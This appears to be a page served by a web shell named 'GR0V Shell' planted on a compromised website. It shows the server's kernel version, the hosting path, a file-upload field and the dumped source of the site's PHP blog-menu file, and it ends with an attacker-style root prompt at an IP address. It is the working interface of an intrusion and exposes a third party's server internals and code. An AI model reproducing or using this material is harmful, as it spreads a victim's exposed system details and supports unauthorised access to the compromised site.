? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/public_html/modules/blog/
File Upload :
Current File : /home/admin/public_html/modules/blog/com_article.php

<?php
class Html{
function menu(){
global $db;

if ($_SESSION["la"] == 1){
if($_SESSION["user_login"]['Type'] == 3){
$c=$db->count_data('contents','WHERE CatID = 135 AND ContentBlogID = "'.$_SESSION["user_login"]["ID"].'"');
}else{
$c=$db->count_data('contents','WHERE CatID = 135');
}
}else{
$c=$db->count_data('contents_en','');
}
//<span class=\\"numberMiddle\\">265</span>
if($_SESSION["user_login"]['Type'] == 3){
		$output.="<div id=\"header\" class=\"wrapper\">
    <div class=\"middleNav\">
    	<ul>
		    <li class=\"iDocs\"><a href=\"$PHPSELF?mod=blog\" title=\"\"><span>รีวิวทั้งหมด</span></a><span class=\"numberMiddle\">{$c}</span></li>
		    <li class=\"iCreate\"><a href=\"$PHPSELF?mod=blog&ac=new_data\" title=\"\"><span>เพิ่มบทความ</span></a></li>
        </ul>
    </div>
    <div class=\"fix\"></div>
</div>";
}else{
		$output.="<div id=\"header\" class=\"wrapper\">
    <div class=\"middleNav\">
    	<ul>
		    <li class=\"iDocs\"><a href=\"$PHPSELF?mod=blog\" title=\"\"><span>รีวิวทั้งหมด</span></a><span class=\"numberMiddle\">{$c}</span></li>
		    <li class=\"iCreate\"><a href=\"$PHPSELF?mod=blog&ac=new_data\" title=\"\"><span>เพิ่มบทความ</span></a></li>
			<li class=\"iCreate\"><a href=\"$PHPSELF?mod=blog&ac=view_user\" title=\"\"><span>จัดการรายชื่อผู้รีวิว</span></a></li>
        </ul>
    </div>
    <div class=\"fix\"></div>
</div>";
}
return $output;
}
}//end class


?>

T1KUS90T
  root-grov@210.1.60.28:~$